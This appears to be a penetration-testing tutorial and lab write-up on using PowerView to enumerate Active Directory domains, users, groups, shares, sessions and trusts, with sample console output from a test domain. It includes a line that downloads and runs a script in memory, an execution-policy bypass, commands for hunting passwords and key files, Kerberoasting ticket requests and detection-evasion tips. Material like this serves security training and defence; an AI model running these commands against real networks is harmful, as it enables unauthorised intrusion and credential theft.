

PowerView: Active Directory Enumeration

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:

What is PowerView?

PowerView is a PowerShell tool (part of PowerSploit framework) used for network and Active Directory enumeration. It's commonly used in penetration testing and red team operations to gather information about AD environments.

Getting Started

powershell

Import PowerView

Import-Module .\PowerView.ps1

Or load directly into memory

IEX (New-Object Net.WebClient).DownloadString('http://server/PowerView.ps1')

Bypass execution policy if needed

powershell -ep bypass

Domain Enumeration

Basic Domain Information

powershell

Get current domain

Get-Domain

Get domain SID

Get-DomainSID

Get domain policy

Get-DomainPolicy

Get domain controllers

Get-DomainController

Get forest information

Get-Forest

Get all domains in forest

Get-ForestDomain

Get forest trusts

Get-ForestTrust

User Enumeration

powershell

Get all users

Get-DomainUser

Get specific user properties

Get-DomainUser -Identity username -Properties *

Get all users with SPN set (Kerberoastable)

Get-DomainUser -SPN

Find users with adminCount=1

Get-DomainUser -AdminCount

Find users with passwords that don't expire

Get-DomainUser -PasswordNeverExpires

Get user descriptions (often contain passwords)

Get-DomainUser | Select name,description

Find users with specific string in description

Get-DomainUser -Properties description | Where {\$_.description -like "*password*"}

Get users without Kerberos pre-auth (AS-REP roastable)

Get-DomainUser -PreauthNotRequired

Group Enumeration

powershell

Get all groups

Get-DomainGroup

Get all groups with "admin" in name

Get-DomainGroup *admin*

Get members of Domain Admins

Get-DomainGroupMember -Identity "Domain Admins"

Get all members of a group recursively

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

Get groups a user is member of

Get-DomainGroup -UserName username

Find high-privilege groups

Get-DomainGroup -AdminCount

Computer Enumeration

powershell

Get all computers

Get-DomainComputer

Get all computers with specific OS

Get-DomainComputer -OperatingSystem "*Server 2019*"

Get computer properties

Get-DomainComputer -Properties name,operatingsystem,dnshostname

Find computers with unconstrained delegation

Get-DomainComputer -Unconstrained

Find computers with constrained delegation

Get-DomainComputer -TrustedToAuth

Share Enumeration

powershell

Find shares on domain

Invoke-ShareFinder

Find shares on specific computers

Invoke-ShareFinder -ComputerName computer.domain.local

Find interesting/sensitive files on shares

Invoke-FileFinder

Search for files with specific terms

Invoke-FileFinder -Terms passwords,config,credentials

GPO Enumeration

powershell

Get all GPOs

Get-DomainGPO

Get GPOs applied to specific computer

Get-DomainGPO -ComputerName computer.domain.local

Get GPO local group modifications

Get-DomainGPOLocalGroup

Find GPOs with restricted groups

Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators

ACL Enumeration

powershell

Get ACLs for specific object

Get-DomainObjectAcl -Identity username

Find interesting ACLs for user

Get-DomainObjectAcl -Identity username -ResolveGUIDs

Find objects user has GenericAll on

Get-DomainObjectAcl -ResolveGUIDs | Where {\$_.ActiveDirectoryRights -match "GenericAll"}

Find modifiable GPOs

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where {\$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite"}

Session Enumeration

powershell

Find where users are logged in

Get-NetSession -ComputerName dc.domain.local

Find logged-on users on computer

Get-NetLoggedon -ComputerName computer.domain.local

Find active sessions for specific user

Get-NetSession | Where {\$_.UserName -eq "username"}

Invoke user hunter to find admin sessions

Invoke-UserHunter

Find Domain Admin sessions

Invoke-UserHunter -GroupName "Domain Admins"

Trust Enumeration

powershell

Get domain trusts

Get-DomainTrust

Get forest trusts

Get-ForestTrust

Map all trusts in forest

Get-DomainTrustMapping

Service Principal Names (SPNs)

powershell

Find all SPNs

Get-DomainUser -SPN | Select serviceprincipalname

Find SQL Server SPNs

Get-DomainUser -SPN | Where {\$_.serviceprincipalname -match "MSSQLSvc"}

Request Kerberos tickets for SPNs (Kerberoasting prep)

Get-DomainUser -SPN | Get-DomainSPNTicket

Finding Sensitive Data

powershell

Find potentially sensitive files

Invoke-FileFinder -Terms password,backup,config,sensitive

Search for files modified recently

Invoke-FileFinder -LastAccessTime (Get-Date).AddDays(-7)

Find files by extension

Invoke-FileFinder -Terms .kdbx,.ppk,.key

Privilege Escalation Hunting

powershell

Find local admin access

Find-LocalAdminAccess

Find computers where domain admins are logged in

Invoke-UserHunter -GroupName "Domain Admins" -CheckAccess

Find machines with unconstrained delegation

Get-DomainComputer -Unconstrained | Select name

Find users with constrained delegation

Get-DomainUser -TrustedToAuth | Select name,msds-allowedtodelegateto

Stealth Tips

powershell

Reduce LDAP query noise - query specific properties only

Get-DomainUser -Properties samaccountname,description

Use delays between queries

Get-DomainComputer | ForEach { Start-Sleep -Seconds 5; Invoke-ShareFinder -
ComputerName \$_.name }

Target specific servers instead of sweeping entire domain

Get-DomainController | Get-NetSession

Detection Considerations

PowerView generates:

- Multiple LDAP queries (detectable via DC logs)
- SMB connections for share/session enumeration
- Kerberos ticket requests for SPN enumeration
- Network traffic patterns characteristic of reconnaissance

Defenders should monitor for:

- Excessive LDAP queries from single source
- Unusual SMB connection patterns
- Multiple failed access attempts
- Queries for sensitive attributes (adminCount, SPNs, etc.)

Modern Alternatives

Since the original PowerView is somewhat dated, consider:

- SharpView - C# port of PowerView

- **ADRecon** - Comprehensive AD enumeration with reporting
- **PingCastle** - Active Directory security audit tool

This lab explores a couple of common cmdlets of PowerView that allows for Active Directory/Domain enumeration.

Get-NetDomain

Get current user's domain:

```
Windows PowerShell
PS C:\Users\spotless.RED> Get-NetDomain

Forest                : offense.local
DomainControllers     : {dc-red.red.offense.local}
Children              : {}
DomainMode            : Windows2012R2Domain
DomainModeLevel       : 6
Parent                : offense.local
PdcRoleOwner          : dc-red.red.offense.local
RidRoleOwner          : dc-red.red.offense.local
InfrastructureRoleOwner : dc-red.red.offense.local
Name                  : red.offense.local
```

Get-NetForest

Get information about the forest the current user's domain is in:

```
PS C:\Users\spotless.RED> Get-NetForest

RootDomainSid        : S-1-5-21-4172452648-1021989953-2368502130
Name                  : offense.local
Sites                 : {Default-First-Site-Name}
Domains               : {offense.local, red.offense.local}
GlobalCatalogs       : {dc-mantvydas.offense.local, dc-red.red.offense.local}
ApplicationPartitions : {DC=DomainDnsZones,DC=offense,DC=local, DC=ForestDnsZones,DC=offense,DC=local,
                        DC=DomainDnsZones,DC=red,DC=offense,DC=local}
ForestModeLevel       : 6
ForestMode            : Windows2012R2Forest
RootDomain            : offense.local
Schema                : CN=Schema,CN=Configuration,DC=offense,DC=local
SchemaRoleOwner       : dc-mantvydas.offense.local
NamingRoleOwner       : dc-mantvydas.offense.local
```

Get-NetForestDomain

Get all domains of the forest the current user is in:

```

PS C:\Users\spotless.RED> Get-NetForestDomain

Forest           : offense.local
DomainControllers : {dc-mantvydas.offense.local}
Children         : {red.offense.local}
DomainMode       : Windows2012R2Domain
DomainModeLevel  : 6
Parent           :
PdcRoleOwner     : dc-mantvydas.offense.local
RidRoleOwner     : dc-mantvydas.offense.local
InfrastructureRoleOwner : dc-mantvydas.offense.local
Name             : offense.local

Forest           : offense.local
DomainControllers : {dc-red.red.offense.local}
Children         : {}
DomainMode       : Windows2012R2Domain
DomainModeLevel  : 6
Parent           : offense.local
PdcRoleOwner     : dc-red.red.offense.local
RidRoleOwner     : dc-red.red.offense.local
InfrastructureRoleOwner : dc-red.red.offense.local
Name             : red.offense.local

```

Get-NetDomainController

Get info about the DC of the domain the current user belongs to:

```

PS C:\Users\spotless.RED> Get-NetDomainController

Forest           : offense.local
CurrentTime      : 9/9/2018 6:51:42 PM
HighestCommittedUsn : 25360
OSVersion        : Windows Server 2012 R2 Standard
Roles            : {PdcRole, RidRole, InfrastructureRole}
Domain           : red.offense.local
IPAddress        : 10.0.0.9
SiteName         : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections : {daf9c675-bf05-428a-b126-edb48b057b21}
OutboundConnections : {05543306-b2c8-4289-9b05-2d89c698f8f8}
Name             : dc-red.red.offense.local
Partitions       : {CN=Configuration,DC=offense,DC=local, CN=Schema,CN=Configuration,DC=offense,DC=local,
                  DC=ForestDnsZones,DC=offense,DC=local, DC=red,DC=offense,DC=local...}

PS C:\Users\spotless.RED> whoami
spotless

```

Get-NetGroupMember

Get a list of domain members that belong to a given group:

```
PS C:\Users\spotless.RED> Get-NetGroupMember -GroupName "domain admins"

GroupDomain : red.offense.local
GroupName   : Domain Admins
MemberDomain : red.offense.local
MemberName  : spotless
MemberSID   : S-1-5-21-3174108235-1280140813-1169822498-1116
IsGroup     : False
MemberDN    : CN=spotless,CN=Users,DC=red,DC=offense,DC=local

GroupDomain : red.offense.local
GroupName   : Domain Admins
MemberDomain : red.offense.local
MemberName  : Administrator
MemberSID   : S-1-5-21-3174108235-1280140813-1169822498-500
IsGroup     : False
MemberDN    : CN=Administrator,CN=Users,DC=red,DC=offense,DC=local
```

Get-NetLoggedon

Get users that are logged on to a given computer:

```
PS C:\Users\spotless.RED> Get-NetLoggedon -ComputerName pc-mantvydas

wkui1_username : spot
wkui1_logon_domain : RED
wkui1_oth_domains :
wkui1_logon_server : DC-RED
ComputerName : pc-mantvydas

wkui1_username : mantvydas
wkui1_logon_domain : PC-MANTVYDAS
wkui1_oth_domains :
wkui1_logon_server : PC-MANTVYDAS
ComputerName : pc-mantvydas

wkui1_username : mantvydas
wkui1_logon_domain : PC-MANTVYDAS
wkui1_oth_domains :
wkui1_logon_server : PC-MANTVYDAS
ComputerName : pc-mantvydas

wkui1_username : spotless
wkui1_logon_domain : RED
wkui1_oth_domains :
wkui1_logon_server : DC-RED
ComputerName : pc-mantvydas

wkui1_username : PC-MANTVYDAS$
wkui1_logon_domain : OFFENSE
wkui1_oth_domains :
wkui1_logon_server :
ComputerName : pc-mantvydas
```

Get-NetDomainTrust

Enumerate domain trust relationships of the current user's domain:

```
PS C:\Users\spotless.RED> Get-NetDomainTrust

SourceName      TargetName      TrustType TrustDirection
-----
red.offense.local offense.local ParentChild Bidirectional
```

Get-NetForestTrust

Enumerate forest trusts from the current domain's perspective:

```
PS C:\Users\spotless.RED> Get-NetForestTrust

TopLevelNames      : {defense.local}
ExcludedTopLevelNames : {}
TrustedDomainInformation : {defense.local}
SourceName          : offense.local
TargetName           : defense.local
TrustType            : Forest
TrustDirection       : Inbound
```

Get-NetProcess

Get running processes for a given remote machine:

Copy

Get-NetProcess -ComputerName dc01 -RemoteUserName offense\administrator -RemotePassword 123456 | ft

```
Administrator: Windows PowerShell
PS C:\> Get-NetProcess -ComputerName dc01 -RemoteUserName offense\administrator -RemotePassword 123456 | ft

ComputerName ProcessName      ProcessID Domain      User
-----
dc01         System Idle Process 0
dc01         System              4
dc01         smss.exe            212 NT AUTHORITY SYSTEM
dc01         csrss.exe           296 NT AUTHORITY SYSTEM
dc01         csrss.exe           348 NT AUTHORITY SYSTEM
dc01         wininit.exe         356 NT AUTHORITY SYSTEM
dc01         winlogon.exe        384 NT AUTHORITY SYSTEM
dc01         services.exe        444 NT AUTHORITY SYSTEM
dc01         lsass.exe           452 NT AUTHORITY SYSTEM
dc01         svchost.exe         576 NT AUTHORITY SYSTEM
dc01         svchost.exe         604 NT AUTHORITY NETWORK SERVICE
dc01         dwm.exe             708 Window Manager DWM-1
dc01         VBoxService.exe     732 NT AUTHORITY SYSTEM
dc01         svchost.exe         804 NT AUTHORITY LOCAL SERVICE
dc01         svchost.exe         844 NT AUTHORITY SYSTEM
dc01         svchost.exe         888 NT AUTHORITY LOCAL SERVICE
dc01         svchost.exe         952 NT AUTHORITY NETWORK SERVICE
dc01         svchost.exe         340 NT AUTHORITY LOCAL SERVICE
dc01         svchost.exe         1376 NT AUTHORITY SYSTEM
```

Invoke-MapDomainTrust

Enumerate and map all domain trusts:

```
PS C:\Users\spotless.RED> Invoke-MapDomainTrust
```

```
SourceDomain : red.offense.local
SourceSID :
TargetDomain : offense.local
TargetSID :
TrustType : ParentChild
TrustDirection : Bidirectional
```

```
SourceDomain : offense.local
SourceSID :
TargetDomain : red.offense.local
TargetSID :
TrustType : ParentChild
TrustDirection : Bidirectional
```

```
SourceDomain : offense.local
SourceSID :
TargetDomain : defense.local
TargetSID :
TrustType : Forest
TrustDirection : Inbound
```

Invoke-ShareFinder

Enumerate shares on a given PC - could be easily combines with other scripts to enumerate all machines in the domain:

```
PS C:\Users\spotless.RED> Invoke-ShareFinder
\\dc-red.red.offense.local\ADMIN$ - Remote Admin
\\dc-red.red.offense.local\C$ - Default share
\\dc-red.red.offense.local\IPC$ - Remote IPC
\\dc-red.red.offense.local\NETLOGON - Logon server share
\\dc-red.red.offense.local\SYSVOL - Logon server share
\\dc-red.red.offense.local\temp -
\\dc-red.red.offense.local\tools -
\\dc-red.red.offense.local\transcripts -
\\dc-red.red.offense.local\wwwroot -
PS C:\Users\spotless.RED> Invoke-ShareFinder -ComputerName pc-mantvydas
\\pc-mantvydas\ADMIN$ - Remote Admin
\\pc-mantvydas\C$ - Default share
\\pc-mantvydas\E$ - Default share
\\pc-mantvydas\experiments -
\\pc-mantvydas\F$ - Default share
\\pc-mantvydas\IPC$ - Remote IPC
\\pc-mantvydas\tools -
\\pc-mantvydas\Users -
PS C:\Users\spotless.RED> Invoke-ShareFinder -ComputerName dc-red
\\dc-red\ADMIN$ - Remote Admin
\\dc-red\C$ - Default share
\\dc-red\IPC$ - Remote IPC
\\dc-red\NETLOGON - Logon server share
\\dc-red\SYSVOL - Logon server share
\\dc-red\temp -
\\dc-red\tools -
\\dc-red\transcripts -
\\dc-red\wwwroot -
PS C:\Users\spotless.RED> Invoke-ShareFinder -ComputerName dc-mantvydas
\\dc-mantvydas\ADMIN$ - Remote Admin
\\dc-mantvydas\C$ - Default share
\\dc-mantvydas\CertEnroll - Active Directory Certificate Services share
\\dc-mantvydas\IPC$ - Remote IPC
\\dc-mantvydas\NETLOGON - Logon server share
\\dc-mantvydas\SYSVOL - Logon server share
\\dc-mantvydas\temp -
\\dc-mantvydas\tools -
\\dc-mantvydas\transcripts -
\\dc-mantvydas\wwwroot -
PS C:\Users\spotless.RED>
```

Invoke-UserHunter

Find machines on a domain or users on a given machine that are logged on:

```
PS C:\Users\spotless.RED> Invoke-UserHunter -ComputerName dc-red -UserName *
```

```
UserDomain      : OFFENSE  
UserName        : Administrator  
ComputerName    : dc-red  
IPAddress       : 10.0.0.9  
SessionFrom     :  
SessionFromName :  
LocalAdmin      :
```

```
UserDomain      : RED  
UserName        : Administrator  
ComputerName    : dc-red  
IPAddress       : 10.0.0.9  
SessionFrom     :  
SessionFromName :  
LocalAdmin      :
```

```
UserDomain      : RED  
UserName        : DC-RED$  
ComputerName    : dc-red  
IPAddress       : 192.168.2.27  
SessionFrom     :  
SessionFromName :  
LocalAdmin      :
```

```
UserDomain      : RED  
UserName        : DC-RED$  
ComputerName    : dc-red  
IPAddress       : 192.168.2.27  
SessionFrom     :  
SessionFromName :  
LocalAdmin      :
```

```
UserDomain      : RED  
UserName        : DC-RED$  
ComputerName    : dc-red  
IPAddress       : 10.0.0.9  
SessionFrom     :  
SessionFromName :  
LocalAdmin      :
```